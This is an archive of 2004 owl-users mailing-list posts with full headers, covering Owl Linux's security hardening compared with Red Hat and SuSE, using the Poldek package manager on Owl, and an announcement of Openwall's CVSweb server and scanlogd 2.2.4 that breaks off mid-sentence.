Date: Thu,  6 May 2004 00:28:04 +0200 (CEST)
X-Spam-Status: No, hits=-13.4 required=5.0
	tests=BAYES_20,IN_REP_TO,KNOWN_MAILING_LIST,REFERENCES
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hallo Owl users, 
 
I am quite new to Owl and before I invest more time in getting to know this 
distro I would like to make sure it is right for my needs. Is there a summary 
showing differences (improvements) between Owl and Redhat or SuSE? I would 
like to use Owl as firewall and I feel it is a good choice but can someone 
help me to justify this feeling? 
 
Best regards 
 
Marek Bajon 
Return-Path: <owl-users-return-423-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i466sFS02032
	for <jwa@private>; Wed, 5 May 2004 23:54:16 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 21B9E70
	for <jwa@private>; Wed,  5 May 2004 23:54:09 -0700 (PDT)
Received: (qmail 3906 invoked by uid 550); 6 May 2004 06:53:38 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 3898 invoked from network); 6 May 2004 06:53:38 -0000
From: Marious S <arte@private>
Organization: ABC
To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
Date: Thu, 6 May 2004 09:51:14 +0300
User-Agent: KMail/1.5.3
References: <1083795198.7788.ezmlm@private> <20040505222804.8AC443B4099@private>
In-Reply-To: <20040505222804.8AC443B4099@private>
MIME-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-2"
Content-Transfer-Encoding: quoted-printable
Content-Description: clearsigned data
Content-Disposition: inline
Message-Id: <200405060951.17158.arte@private>
Sender: owl-users-return-423-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.5 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_KMAIL
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thursday 06 May 2004 01:28, Marek Bajon wrote:
> Hallo Owl users,

Greetings from a lurker who hasn't got much to say but thanks for the=20
excellent work:)

> I am quite new to Owl and before I invest more time in getting to know th=
is
> distro I would like to make sure it is right for my needs. Is there a
> summary showing differences (improvements) between Owl and Redhat or SuSE?
> I would like to use Owl as firewall and I feel it is a good choice but can
> someone help me to justify this feeling?


Just watch Owl rebuild itself when there have been some major package upgra=
des=20
or something goes wrong.  That' s the one that still has me smiling every=20
day.  Then try that elsewhere:)  Even if Owl was insecure, that would still=
=20
be hard to beat.

Marious S.=20
Return-Path: <owl-users-return-424-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i468qXS07952
	for <jwa@private>; Thu, 6 May 2004 01:52:33 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 8C8EE70
	for <jwa@private>; Thu,  6 May 2004 01:52:27 -0700 (PDT)
Received: (qmail 9896 invoked by uid 550); 6 May 2004 08:51:50 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 9888 invoked from network); 6 May 2004 08:51:49 -0000
Message-ID: <4099F129.9040001@private>
Date: Thu, 06 May 2004 10:02:49 +0200
From: Marek Bajon <mbajon@private>
User-Agent: Mozilla Thunderbird 0.5 (Windows/20040502)
X-Accept-Language: en
MIME-Version: 1.0
To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
References: <1083795198.7788.ezmlm@private> <20040505222804.8AC443B4099@private> <200405060951.17158.arte@private>
In-Reply-To: <200405060951.17158.arte@private>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: by AMaViS snapshot-20010714
Sender: owl-users-return-424-jwa=jammed.com@private
X-Spam-Status: No, hits=-33.1 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,USER_AGENT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Marious S wrote:

> Just watch Owl rebuild itself when there have been some major package 
> upgrades
>
>or something goes wrong.  
>  
>

How can I see it or where can I read about it?

Marek Bajon
Return-Path: <owl-users-return-425-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i4697hS08903
	for <jwa@private>; Thu, 6 May 2004 02:07:43 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 3FB1570
	for <jwa@private>; Thu,  6 May 2004 02:07:36 -0700 (PDT)
Received: (qmail 11094 invoked by uid 550); 6 May 2004 09:07:09 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 11086 invoked from network); 6 May 2004 09:07:08 -0000
From: Marious S <arte@private>
Organization: ABC
To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
Date: Thu, 6 May 2004 12:05:14 +0300
User-Agent: KMail/1.5.3
References: <1083795198.7788.ezmlm@private> <200405060951.17158.arte@private> <4099F129.9040001@private>
In-Reply-To: <4099F129.9040001@private>
MIME-Version: 1.0
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Description: clearsigned data
Content-Disposition: inline
Message-Id: <200405061205.18118.arte@private>
Sender: owl-users-return-425-jwa=jammed.com@private
X-Spam-Status: No, hits=-39.5 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_KMAIL
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Thursday 06 May 2004 11:02, Marek Bajon wrote:
> Marious S wrote:
> > Just watch Owl rebuild itself when there have been some major package
> > upgrades
> >
> >or something goes wrong.
>
> How can I see it or where can I read about it?

The Owl web site has some very nice presentations detailing Owl.=20

Marious.
Return-Path: <owl-users-return-426-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i469hkS11526
	for <jwa@private>; Thu, 6 May 2004 02:43:46 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 7ED0070
	for <jwa@private>; Thu,  6 May 2004 02:43:42 -0700 (PDT)
Received: (qmail 14544 invoked by uid 550); 6 May 2004 09:28:59 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 14536 invoked from network); 6 May 2004 09:28:58 -0000
Message-ID: <409A0555.2090401@private>
Date: Thu, 06 May 2004 11:28:53 +0200
From: Andreas Ericsson <ae@private>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: owl-users@private
Subject: Re: How Owl is better from "other leading linux distributions"?
References: <1083795198.7788.ezmlm@private> <20040505222804.8AC443B4099@private>
In-Reply-To: <20040505222804.8AC443B4099@private>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: owl-users-return-426-jwa=jammed.com@private
X-Spam-Status: No, hits=-29.9 required=5.0
	tests=BAYES_01,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Marek Bajon wrote:
> Hallo Owl users, 
>  
Hey.

> I am quite new to Owl and before I invest more time in getting to know this 
> distro I would like to make sure it is right for my needs. Is there a summary 
> showing differences (improvements) between Owl and Redhat or SuSE? I would 
> like to use Owl as firewall and I feel it is a good choice but can someone 
> help me to justify this feeling? 
>  
I don't know about SuSE, but RedHat holds convenience over security in 
its priorities. Owl does not.
Most packages in a RedHat distribution have just been compiled with a 
specific set of options, after being fetched from the net. While this 
allows for faster development and a larger package repository, Owl 
developers proactively audit the code of the packages (focusing on 
kernel, networking daemons and suid programs, ofcourse). This makes Owl 
a bit 'slower' to incorporate programs that are nice to have in a 
distro, but on the other hand you at least know some competent coder 
somewhere has taken pride in going over the source, finding and fixing 
bugs while at it.
Owl has a variety of 'quirks' that makes programs work in a 
securityenhanced way. For instance, every user has its own tmpdir, and 
with the tcb password scheme alot of suid root binaries has been 
'demoted' to sgid shadow instead, which ofcourse is far preferrable.
The RPM package format makes for great portability, and many packages 
from RedHat can be installed without modifications on an Owl-system.

> Best regards 
>  
> Marek Bajon 
> 

-- 
Mvh / Best Regards
Sourcerer / Andreas Ericsson
OP5 AB
+46 (0)733 709032
andreas.ericsson@private
Return-Path: <owl-users-return-427-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i46D7DS20697
	for <jwa@private>; Thu, 6 May 2004 06:07:13 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 395EE70
	for <jwa@private>; Thu,  6 May 2004 06:07:10 -0700 (PDT)
Received: (qmail 27784 invoked by uid 550); 6 May 2004 13:06:38 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 27776 invoked from network); 6 May 2004 13:06:38 -0000
Message-Id: <s099f222.087@private>
X-Mailer: Novell GroupWise Internet Agent 6.5.1 
Date: Thu, 06 May 2004 08:06:35 -0500
From: "Steve Bremer" <steveb@private>
To: <owl-users@private>
Subject: Re: How Owl is better from "other leading linux
	distributions"?
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Sender: owl-users-return-427-jwa=jammed.com@private
X-Spam-Status: No, hits=-6.4 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST
	version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

>>I don't know about SuSE, but RedHat holds convenience over security in

its priorities. Owl does not.

SuSE is similar. 

>>Owl has a variety of 'quirks' that makes programs work in a 
securityenhanced way. For instance, every user has its own tmpdir, and

with the tcb password scheme a lot of suid root binaries has been 
'demoted' to sgid shadow instead, which ofcourse is far preferrable.

This is a good point, although I would call them 'features' instead of
'quirks'.  ;-)


Before switching from RH to Owl, I used to have a checklist of over 100
items that I would do to each RH machine to help harden it.  It was such
a pleasant surprise when I switched to Owl and discovered that most
(can't remember the exact count now) of the items in my check list were
already done.  This is one of the many reasons I prefer Owl.  Others
follow below:

-Easier to create a minimal install
-The choice of software for network services (vsftpd instead of
wu-ftpd, OpenSSH, postfix instead of sendmail, modified versions of
telnet and dhcpd that run with privsep, etc.)
-Many (most?) of the packages in Owl have custom patches applied to
help reduce security risks (temp file handling fixes, etc).
-The security work that the Openwall Project does benefits all Linux
distros since their security fixes are passed on to the package
maintainers.  So, by supporting the Openwall Project, you are helping to
improve security for everyone who utilizes that software. 
-Slow, steady, safe, reliable development cycle.
-As Andreas pointed out: "Security over features"

I hope this helps.

Steve Bremer
NEBCO, Inc.
Systems & Security Administrator
Return-Path: <owl-users-return-428-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i47BiAS18110
	for <jwa@private>; Fri, 7 May 2004 04:44:10 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 73B8370
	for <jwa@private>; Fri,  7 May 2004 04:44:07 -0700 (PDT)
Received: (qmail 20267 invoked by uid 550); 7 May 2004 11:43:25 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 20259 invoked from network); 7 May 2004 11:43:24 -0000
To: owl-users@private
Subject: Poldek, apt-get-like functionality for RPM
X-Favourite-Drink: Cherry-Coke
X-Favourite-Pizza-Place: Anker
Organization: Towarzystwo
X-Jabber-Id: maciekp@private
X-Face: "z$0S%vIy|*@uf~&cUy(t.|Ww`"[=wFe(FAC->(lhsd_}0Y\^STZ&LL%W~ikh(=7DBY*>LV
	)*~d,
	+@xH3!+USJ8tt"etVnco#l:Yg.'1QEoqEb'aft~<e9u@7HHtPM5?UDo@(}c.z==Fe+qpN9[vP
	"x<(]\[ie2j8ccP75fQ+%ZNk4Fd+lRkOr{]V4(/qol)]F7'.;
	BK"nR.EAoBXf?q)+R*k@n^{E5Hr
X-Balcerowicz: Musi odejsc!
Date: Fri, 07 May 2004 13:43:16 +0200
Message-ID: <87fzac31kb.fsf@private>
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Delivery-Agent: TMDA/1.1.4+ (Fettercairn)
From: Maciek Pasternacki <maciekp@private>
X-TMDA-Fingerprint: ITViRJ4eb00KylG+4982PQmkkvI
Sender: owl-users-return-428-jwa=jammed.com@private
X-Spam-Status: No, hits=-13.5 required=5.0
	tests=BAYES_01,KNOWN_MAILING_LIST,USER_AGENT_GNUS_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hello.

Poldek is an apt-get-like (but much more powerful and comfortable in
use) functionality for RPM packages used in PLD Linux Distribution
(http://www.pld-linux.org/).  It is used mainly with RPM version 4,
but runs quite well also with rpm3 on Owl.  Its homepage is at
http://www.pld.org.pl/~mis/poldek/ .

I use it on Owl for some time and it works quite fine except for some
warnings related to usage of dummy Provides:/Requires: in kernel
package.  It has BuildRequires: rpm-devel >= 4.0 but it builds and
runs with rpm3 (it's not a misfeature, I consulted it with program
author and rpm3 support is intended, but it seems nobody except Owl
users uses it now, so there was nobody to test).

To build Poldek on Owl you need pcre library (working srpm is at
http://leeloo.moo.pl/srpms/) and turn off BuildRequires on rpm-devel
version in Poldek srpm (srpm with this BR turned off is also available
at LeeLoo srpms page).

To make Poldek work well, it needs rpms to live in local directory;
remote access (via HTTP or FTP) needs the indexes.  As for now, I have
indexes for owl-current on my page (generated nightly from
ftp.pl.openwall.com mirror); you may use indexes from one site and
rpms from the other, so you can use my indexes with your favorite
mirror of openwall.com.  Poldek also needs one entry in poldek.conf to
make it work well with rpm3 handling of Epoch: (promoteepoch).

Here's the config I use:

    source1 = Owl http://leeloo.moo.pl/Owl-current-i386-RPMS/
    prefix1 = ftp://ftp.pl.openwall.com/pub/Owl/current/i386/RPMS/
    
    source = LeeLoo,type=dir /home/japhy/.rpm.d/RPMS/i386
    
    promoteepoch = yes

Second source entry is for packeges I rebuild by myself.

If anybody wanted to test or use Poldek on Owl, it's out there and
it's usable (at least for me).  I think it would be good to
incorporate Poldek into the distribution and have indexes on ftp
mirrors -- it would ease upgrade of the system, mixing Owl packages
with locally rebuilt and third-party ones, and reduce bandwitch usage
on mirrors.  Upgrading to current owl-current always was hard for me
because I don't have full install (e.g. I don't use Postfix but
netqmail) and had to manually select packages to upgrade; Owl lacked
some automatic upgrade/install/package management tool and Poldek
works just fine.

Greets,
		--maciek

-- 
__    Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _   |_\  / { I tell you this, no eternal reward will forgive us now
,|{-}|}| }\/                                           for wasting the dawn! }
\/   |____/                                             ( Jim Morrison )  -><-
Return-Path: <owl-users-return-429-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i4AMOrS03656
	for <jwa@private>; Mon, 10 May 2004 15:24:53 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id E44F470
	for <jwa@private>; Mon, 10 May 2004 15:24:49 -0700 (PDT)
Received: (qmail 753 invoked by uid 550); 10 May 2004 22:24:02 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 745 invoked from network); 10 May 2004 22:24:01 -0000
Date: Tue, 11 May 2004 02:20:54 +0400
From: Solar Designer <solar@private>
To: owl-users@private
Subject: Re: Poldek, apt-get-like functionality for RPM
Message-ID: <20040510222054.GC3485@private>
References: <87fzac31kb.fsf@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <87fzac31kb.fsf@private>
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-429-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

Maciek, -- thank you for sharing this with owl-users, this is much
appreciated.

On Fri, May 07, 2004 at 01:43:16PM +0200, Maciek Pasternacki wrote:
> I use it on Owl for some time and it works quite fine except for some
> warnings related to usage of dummy Provides:/Requires: in kernel
> package.  It has BuildRequires: rpm-devel >= 4.0 but it builds and
> runs with rpm3 (it's not a misfeature, I consulted it with program
> author and rpm3 support is intended, but it seems nobody except Owl
> users uses it now, so there was nobody to test).

Oh.  We'll be moving to RPM 4.2+.  The binutils update which went into
Owl-current a couple of days ago is the start of the big update to Owl.

> To build Poldek on Owl you need pcre library (working srpm is at
> http://leeloo.moo.pl/srpms/) and turn off BuildRequires on rpm-devel
> version in Poldek srpm (srpm with this BR turned off is also available
> at LeeLoo srpms page).

You could also build with --nodeps, although that would be a hack.

> If anybody wanted to test or use Poldek on Owl, it's out there and
> it's usable (at least for me).  I think it would be good to
> incorporate Poldek into the distribution and have indexes on ftp
> mirrors -- it would ease upgrade of the system, mixing Owl packages
> with locally rebuilt and third-party ones, and reduce bandwitch usage
> on mirrors.  Upgrading to current owl-current always was hard for me
> because I don't have full install (e.g. I don't use Postfix but
> netqmail) and had to manually select packages to upgrade; Owl lacked
> some automatic upgrade/install/package management tool and Poldek
> works just fine.

Oh, I don't think the current way of things is as bad as you make it
appear.  "mirror -e RPMS" in lftp works quite well.  I don't see how
you may be able to download less than that ...well, you may skip
downloading newer versions of a package you don't use, but that's all.
There aren't many packages in Owl which one may want to not use, --
most are essential to the system.

As for upgrading Owl while keeping your local alternatives to some of
Owl's packages, most of the time it isn't that hard.  You can edit
installworld.conf to use "-F" instead of "-U" in FLAGS and it will
work most of the time.  Yes, sometimes entirely new packages are added
to Owl and are required for the new version of Owl, -- in those cases
you do need the "-U".  But most of the time "-F" is fine and it won't
try to install an Owl package which you had removed previously.

But getting us Poldek or apt-get or yum isn't out of consideration.

-- 
Alexander Peslyak <solar@private>
GPG key ID: B35D3598  fp: 6429 0D7E F130 C13E C929  6447 73C3 A290 B35D 3598
http://www.openwall.com - bringing security into open computing environments
Return-Path: <owl-users-return-430-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i4JIvk312432
	for <jwa@private>; Wed, 19 May 2004 11:57:46 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 0FA4970
	for <jwa@private>; Wed, 19 May 2004 11:57:32 -0700 (PDT)
Received: (qmail 26352 invoked by uid 550); 19 May 2004 18:56:34 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 26344 invoked from network); 19 May 2004 18:56:34 -0000
To: owl-users@private
Subject: Re: Poldek, apt-get-like functionality for RPM
X-Favourite-Drink: Cherry-Coke
X-Favourite-Pizza-Place: Anker
Organization: Towarzystwo
X-Jabber-Id: maciekp@private
X-Face: "z$0S%vIy|*@uf~&cUy(t.|Ww`"[=wFe(FAC->(lhsd_}0Y\^STZ&LL%W~ikh(=7DBY*>LV
	)*~d,
	+@xH3!+USJ8tt"etVnco#l:Yg.'1QEoqEb'aft~<e9u@7HHtPM5?UDo@(}c.z==Fe+qpN9[vP
	"x<(]\[ie2j8ccP75fQ+%ZNk4Fd+lRkOr{]V4(/qol)]F7'.;
	BK"nR.EAoBXf?q)+R*k@n^{E5Hr
X-Balcerowicz: Musi odejsc!
In-Reply-To: <20040510222054.GC3485@private> (Solar Designer's message
	of "Tue, 11 May 2004 02:20:54 +0400")
References: <20040510222054.GC3485@private>
Date: Wed, 19 May 2004 19:40:29 +0200
User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.3 (gnu/linux)
Content-Type: text/plain; charset=us-ascii
Lines: 68
Message-ID: <8765astfdn.fsf@private>
MIME-Version: 1.0
X-Delivery-Agent: TMDA/1.1.4+ (Fettercairn)
From: Maciek Pasternacki <maciekp@private>
X-TMDA-Fingerprint: Qj8k6wI8ejtqTomAk2bTfMUCFhs
Sender: owl-users-return-430-jwa=jammed.com@private
X-Spam-Status: No, hits=-38.6 required=5.0
	tests=BAYES_10,EMAIL_ATTRIBUTION,IN_REP_TO,KNOWN_MAILING_LIST,
	      QUOTED_EMAIL_TEXT,REFERENCES,REPLY_WITH_QUOTES,
	      USER_AGENT_GNUS_UA
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

On Boomtime, Discord 59, 3170 YOLD, Solar Designer wrote:

>> If anybody wanted to test or use Poldek on Owl, it's out there and
>> it's usable (at least for me).  I think it would be good to
>> incorporate Poldek into the distribution and have indexes on ftp
>> mirrors -- it would ease upgrade of the system, mixing Owl packages
>> with locally rebuilt and third-party ones, and reduce bandwitch usage
>> on mirrors.  Upgrading to current owl-current always was hard for me
>> because I don't have full install (e.g. I don't use Postfix but
>> netqmail) and had to manually select packages to upgrade; Owl lacked
>> some automatic upgrade/install/package management tool and Poldek
>> works just fine.
>
> Oh, I don't think the current way of things is as bad as you make it
> appear.  "mirror -e RPMS" in lftp works quite well.  I don't see how
> you may be able to download less than that ...well, you may skip
> downloading newer versions of a package you don't use, but that's all.
> There aren't many packages in Owl which one may want to not use, --
> most are essential to the system.

Sometimes I don't want/need to keep full copy of all packages on the
system; for modern hardware it's not that much, but one of Owl's
features I appreciate is how it runs on older, slower hardware where
sometimes keeping whole mirror of distro locally would be overkill.

For some systems I might also prefer not to have any development
packages because I just don't need them; production systems can be
binary-only as well, and compiling packages can be handled on another
machine; that's quite a few packages.

> As for upgrading Owl while keeping your local alternatives to some of
> Owl's packages, most of the time it isn't that hard.  You can edit
> installworld.conf to use "-F" instead of "-U" in FLAGS and it will
> work most of the time.  Yes, sometimes entirely new packages are added
> to Owl and are required for the new version of Owl, -- in those cases
> you do need the "-U".  But most of the time "-F" is fine and it won't
> try to install an Owl package which you had removed previously.

Yes, you're right, but on the other hand, Poldek is just more
comfortable to use when I use packages from multiple sources.
Upgrading system with Poldek also ignores new packages by default, so
-F indeed is a good alternative, but there are also packages from
other sources (say, RH6 updates or some packages built by software
vendor for RH6, or my local packages, which I build once and install
on more machines); it's easier to keep up-to-date and automate
upgrades or notifications about new versions of software when all
sources are handled in uniform way by one program.  It's not matter of
functionality, it's a matter of convenience (using RPMs is also matter
of convenience -- Slackware runs on plain tarballs and they don't
complain). ;)

> But getting us Poldek or apt-get or yum isn't out of consideration.

I'd appreciate if Poldek or other package manager with similar
functionality (I don't know yum, and used apt only on Debian, where
its functionality is still less than Poldek's (and handling source
packages by apt... yuck.  Debian automation, scripts and formats are
*terribly* kludgy) and as far as I know apt supporting RPMs is still
a bit of hack).

Greets,
		--japhy

-- 
__    Maciek Pasternacki <maciekp@private> [ http://japhy.fnord.org/ ]
`| _   |_\  / { I tell you this, no eternal reward will forgive us now
,|{-}|}| }\/                                           for wasting the dawn! }
\/   |____/                                             ( Jim Morrison )  -><-
Return-Path: <owl-users-return-431-jwa=jammed.com@private>
Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i577n1W31982
	for <jwa@private>; Mon, 7 Jun 2004 00:49:01 -0700
Received: from mother.openwall.net (mother.openwall.net [195.42.179.200])
	by gate.jammed.com (Postfix) with SMTP id 7163470
	for <jwa@private>; Mon,  7 Jun 2004 00:48:58 -0700 (PDT)
Received: (qmail 5452 invoked by uid 550); 7 Jun 2004 07:47:19 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 5439 invoked from network); 7 Jun 2004 07:47:16 -0000
Date: Mon, 7 Jun 2004 11:43:03 +0400
From: Solar Designer <solar@private>
To: announce@private, owl-users@private
Subject: Owl CVSweb server; scanlogd 2.2.4
Message-ID: <20040607074303.GA8693@private>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.4.2.1i
Sender: owl-users-return-431-jwa=jammed.com@private
X-Spam-Status: No, hits=-12.7 required=5.0
	tests=BAYES_10,KNOWN_MAILING_LIST,USER_AGENT_MUTT
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

Hi,

This is to announce two unrelated things at once: the Openwall CVSweb
server and the new release of scanlogd 2.2.4.

Yes, we've setup a CVSweb server which provides convenient access to
the entire Openwall GNU/*/Linux (Owl) CVS tree including source code
for Owl and consequently also for most other pieces of Openwall
software which are now maintained as a part of Owl but are also made
available separately.  The CVSweb server allows the more experienced
users and other software developers to easily browse through revision
history and compare different versions of any source file that we've
been working on.  It is available at the following location:

	http://cvsweb.openwall.com

Please note that we also continue to maintain an anonymous CVS server
supporting the CVS pserver protocol and the CVS server protocol over
SSH, and obviously we continue to make our releases and snapshots of
Owl available through the FTP mirrors.  All of these ways to obtain
Owl and thus also our other software are listed on this web page:

	http://www.openwall.com/Owl/DOWNLOAD.shtml

Of course, the source code for scanlogd (just to give an example) is
available through the new CVSweb server too:

	http://cvsweb.openwall.com/scanlogd

This redirects you to the CVSweb URL for the scanlogd directory within
the Owl tree.

But if you simply want to install and use the new release of scanlogd,
you should get it at the usual scanlogd homepage URL:

	http://www.openwall.com/scanlogd/

The changes in scanlogd 2.2.4 are as follows:

scanlogd will now chroot to /var/empty to further reduce the impact of
potential bugs in scanlogd itself and in the libraries that it uses
(although there hasn't been a single bug like this found in scanlogd
in the 6 years that it exists).

When built with libnids or direct libpcap support, a smart pcap filter
expression (originally by Pavel Kankovsky) is now used to hopefully
filter out most uninteresting packets while in the kernel.

Many minor code cleanups and other enhancements have been made, and
